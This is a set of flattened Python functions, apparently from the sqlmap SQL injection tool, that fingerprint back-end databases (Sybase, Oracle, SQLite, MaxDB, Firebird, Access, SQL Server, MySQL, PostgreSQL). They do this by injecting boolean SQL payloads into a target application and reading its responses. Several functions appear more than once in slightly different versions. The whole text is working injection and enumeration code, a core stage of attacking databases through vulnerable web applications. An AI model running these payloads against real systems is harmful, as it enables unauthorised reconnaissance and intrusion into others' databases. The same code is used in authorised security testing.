def checkDbms(self): if conf.dbms in SYBASE_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) self.getBanner() if not conf.extensiveFp: kb.os = "Windows" return True infoMsg = "testing Sybase" logger.info(infoMsg) if conf.direct: result = True else: payload = agent.fullPayload("AND tempdb_id()=tempdb_id()") result = Request.queryPage(payload) if result: logMsg = "confirming Sybase" logger.info(logMsg) payload = agent.fullPayload("AND suser_id()=suser_id()") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not Sybase" logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True for version in range(12, 16): randInt = randomInt() query = "AND @@VERSION_NUMBER/1000=%d" % version payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: kb.dbmsVersion = ["%d" % version] break return True else: warnMsg = "the back-end DBMS is not Sybase" logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in ORACLE_ALIASES: setDbms("Oracle") self.getBanner() if not conf.extensiveFp: return True logMsg = "testing Oracle" logger.info(logMsg) payload = agent.fullPayload(" AND ROWNUM=ROWNUM") result = Request.queryPage(payload) if result: logMsg = "confirming Oracle" logger.info(logMsg) payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False setDbms("Oracle") self.getBanner() if not conf.extensiveFp: return True query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" version = inject.getValue(query, unpack=False) if re.search("^11", version): kb.dbmsVersion = ["11i"] elif re.search("^10", version): kb.dbmsVersion = ["10g"] elif re.search("^9", version): kb.dbmsVersion = ["9i"] elif re.search("^8", version): kb.dbmsVersion = ["8i"] return True else: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if conf.dbms in SQLITE_ALIASES: setDbms(DBMS.SQLITE) self.getBanner() if not conf.extensiveFp: return True logMsg = "testing SQLite" logger.info(logMsg) payload = agent.fullPayload("AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") result = Request.queryPage(payload) if result: logMsg = "confirming SQLite" logger.info(logMsg) payload = agent.fullPayload("AND SQLITE_VERSION()=SQLITE_VERSION()") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not SQLite" logger.warn(warnMsg) return False setDbms(DBMS.SQLITE) self.getBanner() if not conf.extensiveFp: return True version = inject.getValue("SELECT SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) kb.dbmsVersion = [ version ] return True else: warnMsg = "the back-end DBMS is not SQLite" logger.warn(warnMsg) return False
def __dialectCheck(self): retVal = None if kb.dbms: payload = agent.fullPayload("AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") result = Request.queryPage(payload) retVal = "dialect 3" if result else "dialect 1" return retVal
def checkDbms(self): if conf.dbms in MAXDB_ALIASES: setDbms(DBMS.MAXDB) self.getBanner() if not conf.extensiveFp: return True logMsg = "testing SAP MaxDB" logger.info(logMsg) randInt = randomInt() payload = agent.fullPayload("AND NOROUND(%d)=%d" % (randInt, randInt)) result = Request.queryPage(payload) if result: logMsg = "confirming SAP MaxDB" logger.info(logMsg) payload = agent.fullPayload("AND MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not SAP MaxDB" logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() if not conf.extensiveFp: return True kb.dbmsVersion = None return True else: warnMsg = "the back-end DBMS is not SAP MaxDB" logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in FIREBIRD_ALIASES: setDbms(DBMS.FIREBIRD) self.getBanner() if not conf.extensiveFp: return True logMsg = "testing Firebird" logger.info(logMsg) randInt = randomInt() payload = agent.fullPayload("AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) result = Request.queryPage(payload) if result: logMsg = "confirming Firebird" logger.info(logMsg) payload = agent.fullPayload("AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not Firebird" logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) self.getBanner() if not conf.extensiveFp: return True kb.dbmsVersion = [self.__sysTablesCheck()] return True else: warnMsg = "the back-end DBMS is not Firebird" logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in ACCESS_ALIASES: setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True logMsg = "testing Microsoft Access" logger.info(logMsg) payload = agent.fullPayload("AND VAL(CVAR(1))=1") result = Request.queryPage(payload) if result: logMsg = "confirming Microsoft Access" logger.info(logMsg) payload = agent.fullPayload("AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not Microsoft Access" logger.warn(warnMsg) return False setDbms("Microsoft Access") if not conf.extensiveFp: return True kb.dbmsVersion = [self.__sysTablesCheck()] return True else: warnMsg = "the back-end DBMS is not Microsoft Access" logger.warn(warnMsg) return False
def __sysTablesCheck(self): retVal = None table = ( ("1.0", ["AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]), ("1.5", ["AND NULLIF(%d,%d) IS NULL", "AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]), ("2.0", ["AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "AND BIT_LENGTH(%d)>0", "AND CHAR_LENGTH(%d)>0"]), ("2.1", ["AND BIN_XOR(%d,%d)=0", "AND PI()>0.%d", "AND RAND()<1.%d", "AND FLOOR(1.%d)>=0"]) ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100))) payload = agent.fullPayload(check) result = Request.queryPage(payload) if result: retVal = version else: failed = True break if failed: break return retVal
def checkDbms(self): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) self.getBanner() if not conf.extensiveFp: kb.os = "Windows" return True infoMsg = "testing Microsoft SQL Server" logger.info(infoMsg) payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") result = Request.queryPage(payload) if result: infoMsg = "confirming Microsoft SQL Server" logger.info(infoMsg) for version in (0, 5, 8): randInt = randomInt() query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: if version == 8: kb.dbmsVersion = ["2008"] break elif version == 5: kb.dbmsVersion = ["2005"] break elif version == 0: kb.dbmsVersion = ["2000"] break else: query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: kb.dbmsVersion = ["7.0"] break if kb.dbmsVersion: setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) else: setDbms("Microsoft SQL Server") self.getBanner() kb.os = "Windows" return True else: warnMsg = "the back-end DMBS is not Microsoft SQL Server" logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in ORACLE_ALIASES: setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True logMsg = "testing Oracle" logger.info(logMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: payload = agent.fullPayload("AND ROWNUM=ROWNUM") result = Request.queryPage(payload) if result: logMsg = "confirming Oracle" logger.info(logMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: payload = agent.fullPayload("AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not Oracle" logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" version = inject.getValue(query, unpack=False, suppressOutput=True) if re.search("^11", version): kb.dbmsVersion = ["11i"] elif re.search("^10", version): kb.dbmsVersion = ["10g"] elif re.search("^9", version): kb.dbmsVersion = ["9i"] elif re.search("^8", version): kb.dbmsVersion = ["8i"] return True else: warnMsg = "the back-end DBMS is not Oracle" logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("MySQL %s" % kb.dbmsVersion[0]) if int(kb.dbmsVersion[0]) >= 5: kb.data.has_information_schema = True self.getBanner() if not conf.extensiveFp: return True infoMsg = "testing MySQL" logger.info(infoMsg) randInt = str(randomInt(1)) payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") result = Request.queryPage(payload) if result: infoMsg = "confirming MySQL" logger.info(infoMsg) payload = agent.fullPayload(" AND ISNULL(1/0)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False # Determine if it is MySQL >= 5.0.0 if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt: kb.data.has_information_schema = True kb.dbmsVersion = [">= 5.0.0"] setDbms("MySQL 5") self.getBanner() if not conf.extensiveFp: return True # Check if it is MySQL >= 5.5.0 if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6": kb.dbmsVersion = [">= 5.5.0"] # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False): if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = ["= 5.1.6"] elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] else: kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1": kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.getValue("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] else: kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] # Otherwise assume it is MySQL < 5.0.0 else: kb.dbmsVersion = ["< 5.0.0"] setDbms("MySQL 4") self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is coercibility = inject.getValue("COERCIBILITY(USER())") if coercibility == "3": kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] elif coercibility == "2": kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] elif inject.getValue("CURRENT_USER()"): kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": kb.dbmsVersion = ["= 4.1.0"] else: kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0": kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] elif inject.getValue("CONNECTION_ID()"): kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] else: kb.dbmsVersion = ["< 3.22.11"] return True else: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) self.getBanner() if not conf.extensiveFp: kb.os = "Windows" return True infoMsg = "testing Microsoft SQL Server" logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not work connecting # directly to the Microsoft SQL Server database if conf.direct: result = True else: randInt = randomInt() payload = agent.fullPayload("AND BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) result = Request.queryPage(payload) if result: infoMsg = "confirming Microsoft SQL Server" logger.info(infoMsg) for version in (0, 5, 8): randInt = randomInt() query = "AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) if conf.direct: query = query.replace("AND ", "SELECT 1 WHERE ", 1) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: if version == 8: kb.dbmsVersion = ["2008"] break elif version == 5: kb.dbmsVersion = ["2005"] break elif version == 0: kb.dbmsVersion = ["2000"] break else: query = "AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: kb.dbmsVersion = ["7.0"] break if kb.dbmsVersion: setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) else: setDbms(DBMS.MSSQL) self.getBanner() kb.os = "Windows" return True else: warnMsg = "the back-end DBMS is not Microsoft SQL Server" logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) """ if conf.dbms in PGSQL_ALIASES: setDbms(DBMS.POSTGRESQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "testing PostgreSQL" logger.info(infoMsg) randInt = getUnicode(randomInt(1)) payload = agent.fullPayload("AND %s::int=%s" % (randInt, randInt)) result = Request.queryPage(payload) if result: infoMsg = "confirming PostgreSQL" logger.info(infoMsg) payload = agent.fullPayload("AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not PostgreSQL" logger.warn(warnMsg) return False setDbms(DBMS.POSTGRESQL) self.getBanner() if not conf.extensiveFp: return True if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2, suppressOutput=True) == "2": kb.dbmsVersion = [">= 8.4.0"] elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ): kb.dbmsVersion = [">= 8.3.0", "< 8.4"] elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True): kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2, suppressOutput=True) == "9": kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2, suppressOutput=True) == "3": kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False, suppressOutput=True): kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False, suppressOutput=True) == "p": kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] elif inject.getValue("SELECT BIT_LENGTH(1)") == "8": kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False, suppressOutput=True) == "a": kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2, suppressOutput=True) == "8": kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] elif inject.getValue("SELECT MAX('a')") == "a": kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False, suppressOutput=True)): kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "2": kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False, suppressOutput=True) == "s": kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] else: kb.dbmsVersion = ["< 6.2.0"] return True else: warnMsg = "the back-end DBMS is not PostgreSQL" logger.warn(warnMsg) return False